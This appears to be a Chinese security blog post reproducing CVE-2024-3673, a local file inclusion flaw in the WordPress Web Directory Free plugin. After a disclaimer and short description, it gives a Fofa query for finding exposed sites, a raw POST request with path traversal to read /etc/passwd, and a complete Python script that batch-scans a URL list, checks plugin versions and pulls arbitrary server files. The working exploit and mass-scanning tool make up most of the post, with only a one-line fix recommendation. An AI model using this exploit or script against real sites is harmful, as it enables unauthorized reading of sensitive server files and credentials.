WordPress Web Directory Free插件本地包含漏洞复现(附脚本)(CVE-2024-3673)

免责申明:

本文所描述的漏洞及其复现步骤仅供网络安全研究与教育目的使用。任何人不得将本文提供的信息用于非法目的或未经授权的系统测试。作者不对任何由于使用本文信息而导致的直接或间接损害承担责任。如涉及侵权,请及时与我们联系,我们将尽快处理并删除相关内容。

0x01 产品描述:

Web Directory Free 是一款用于 WordPress 的免费插件,主要用于创建和管理在线目录网站。它允许用户轻松地添加、管理和展示各种目录条目,例如企业列表、服务提供商、地点信息等。这款插件非常适合需要构建商业目录、黄页网站或类似平台的用户。
0x02 漏洞描述:

Web Directory Free插件在函数中使用参数之前无法验证参数,从而导致本地文件包含 (LFI)。这允许未经身份验证的攻击者读取服务器上的敏感文件。

0x03 影响版本:

Web Directory Free <= 1.7.2
0x04 搜索语句:

Fofa:body="/wp-content/plugins/web-directory-free"


0x05 漏洞复现:

POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Host: your-ip

from_set_ajax=1&action=w2dc_controller_request&template=../../../../../etc/passwd

0x06 批量检测脚本:

批量检测:
python poc.py -l url.txt -f [读取路径]
单个检测:
python poc.py -u your-ip -f [读取路径]
默认路径:
python poc.py -u your-ip

import argparse
import re
import requests
from packaging import version
import urllib3
from urllib.parse import urljoin

# 禁用SSL警告
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def banner():
    print("\033[36m" + """
    ****************************************************
    *             WordPress插件漏洞检测工具             *
    *        Web Directory Free插件LFI漏洞检测         *
    *            版本: 1.7.2及以下存在漏洞             *
    *                 作者: iSee857                    *
    ****************************************************
    """ + "\033[0m")

def read_file(file_path):
    with open(file_path, 'r') as file:
        urls = file.read().splitlines()
    return urls

def get_plugin_version(url: str) -> str:
    version_url = urljoin(url, "/wp-content/plugins/web-directory-free/readme.txt")
    headers = {
        "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36"
    }
    try:
        response = requests.get(version_url, headers=headers, verify=False, timeout=10)
        response.raise_for_status()
        match = re.search(r"Stable tag:\s*(\d+\.\d+\.\d+)", response.text)
        if match:
            return match.group(1)
        else:
            print(f"[!] 无法从 {url} 的 readme.txt 中提取版本信息。")
            return None
    except requests.RequestException as e:
        print(f"[!] 获取 {url} 的版本信息时出错: {e}")
        return None

def is_vulnerable(version_str: str) -> bool:
    vulnerable_version = "1.7.2"
    return version.parse(version_str) <= version.parse(vulnerable_version)

def exploit_vulnerability(url: str, target_file: str) -> None:
    exploit_path = urljoin(url, "/wp-admin/admin-ajax.php")
    headers = {
        "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36",
        "Content-Type": "application/x-www-form-urlencoded",
    }
    payload = f"from_set_ajax=1&action=w2dc_controller_request&template={target_file}"
    try:
        response = requests.post(exploit_path, headers=headers, data=payload, verify=False, timeout=10)
        response.raise_for_status()
        if response.status_code == 200:
            print(f"[+] 漏洞利用成功!目标文件内容如下:\n{response.text}")
        else:
            print(f"[-] 漏洞利用失败,服务器返回状态码: {response.status_code}")
    except requests.RequestException as e:
        print(f"[!] 漏洞利用过程中出错: {e}")

def check_single_url(url: str, target_file: str) -> None:
    print(f"\n[+] 正在检测目标: {url}")
    plugin_version = get_plugin_version(url)
    if plugin_version:
        print(f"[*] 检测到插件版本: {plugin_version}")
        if is_vulnerable(plugin_version):
            print("[+] 该站点存在漏洞!")
            exploit_vulnerability(url, target_file)
        else:
            print("[-] 该站点不存在漏洞。")
    else:
        print("[-] 无法获取插件版本信息,跳过检测。")

def main():
    banner()
    parser = argparse.ArgumentParser(description="检测Web Directory Free WordPress插件中的LFI漏洞(版本1.7.2及以下)。")
    parser.add_argument("--url", "-u", help="目标URL(例如:http://example.com)")
    parser.add_argument("--file", "-f", default="../../../../../etc/passwd", help="要读取的目标文件(默认:/etc/passwd)")
    parser.add_argument("--list", "-l", help="包含多个URL的文件路径")
    args = parser.parse_args()

    if not args.url and not args.list:
        print("[-] 请提供目标URL或包含URL列表的文件。")
        return

    if args.url:
        check_single_url(args.url, args.file)
    elif args.list:
        urls = read_file(args.list)
        for url in urls:
            check_single_url(url, args.file)

if __name__ == "__main__":
    main()


0x07 修复建议:

将 Web Directory Free 插件升级到版本 1.7.3 或更高版本

相关推荐
卷卷的小趴菜学编程7 小时前
Linux第二讲--用户权限
linux·运维·服务器·开发语言·安全
斯密码赛我是美女8 小时前
zyNo.15(Web题型总结1)
前端·安全
Clockwiseee10 小时前
玄机靶场--第一章 应急响应- Linux入侵排查
linux·服务器·学习·安全·web安全·应急响应·入侵排查
垚垚 Securify 前沿站18 小时前
全面解析文件上传下载删除漏洞:风险与应对
网络·计算机网络·安全·web安全·系统安全
WTT00111 天前
第一届“启航杯”网络安全挑战赛WP
服务器·前端·网络·windows·安全·web安全
ai产品老杨1 天前
能够对设备的历史数据进行学习与分析,通过与设备当前状态的比对,识别潜在故障并做出预判的名厨亮灶开源了。
vue.js·人工智能·学习·安全·开源·音视频
doubt。2 天前
[b01lers2020]Life on Mars1
网络·数据库·sql·安全·web安全·网络安全
仇辉攻防2 天前
【云安全】云原生-K8S-搭建/安装/部署
web安全·网络安全·docker·云原生·容器·kubernetes·k8s